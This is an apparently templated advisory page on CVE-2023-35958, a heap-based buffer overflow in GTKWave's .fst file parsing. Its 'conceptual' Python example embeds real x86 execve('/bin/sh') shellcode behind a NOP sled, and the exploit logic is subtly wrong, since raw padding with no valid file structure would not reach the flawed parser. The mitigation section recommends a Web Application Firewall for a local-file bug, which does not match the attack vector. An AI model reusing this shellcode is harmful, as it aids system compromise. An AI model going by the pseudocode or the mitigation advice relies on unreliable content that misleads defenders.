CVE-2023-35958: Heap-Based Buffer Overflow Vulnerability in GTKWave

Overview

The vulnerability CVE-2023-35958 is a serious cybersecurity threat that affects GTKWave version 3.3.115, a popular open-source waveform viewer. This vulnerability exposes systems to potential compromise and data leakage, presenting a significant risk to users who open malicious .fst files. The importance of this issue cannot be overstated, especially in an era where data privacy and system integrity are of utmost concern to businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2023-35958
Severity: High (7.8 CVSS Score)
Attack Vector: Local File
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GTKWave | 3.3.115

How the Exploit Works

The vulnerability lies in the fstReaderIterBlocks2 VCDATA parsing functionality of GTKWave. Multiple heap-based buffer overflow vulnerabilities exist, which can be exploited through a specially-crafted .fst file.
When a victim opens this malicious file, the `fstFread` copy function is compromised, leading to arbitrary code execution. The successful exploitation of this vulnerability can lead to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This pseudocode represents the creation of a malicious .fst file:

# Pseudocode to create a malicious .fst file
def create_malicious_fst():
# Create a specially-crafted .fst file
malicious_fst = open("malicious.fst", "w")
# Write a large amount of data to overflow the heap buffer
malicious_fst.write('A' * 10000)
# This could potentially lead to arbitrary code execution
malicious_fst.write('\x90' * 1000 + shellcode)
malicious_fst.close()
# Shellcode would contain the malicious instructions for arbitrary code execution
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
create_malicious_fst()

Please note that this is a hypothetical example and should not be used for any malicious activities. It’s provided for educational purposes only, to understand the nature of the vulnerability.

How to Mitigate

The most effective way to mitigate this vulnerability is to apply the patch provided by the vendor. In the absence of a patch, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary measure to detect and prevent exploitation of this vulnerability. However, these measures are not fail-safe and can only serve as temporary solutions until a patch is applied.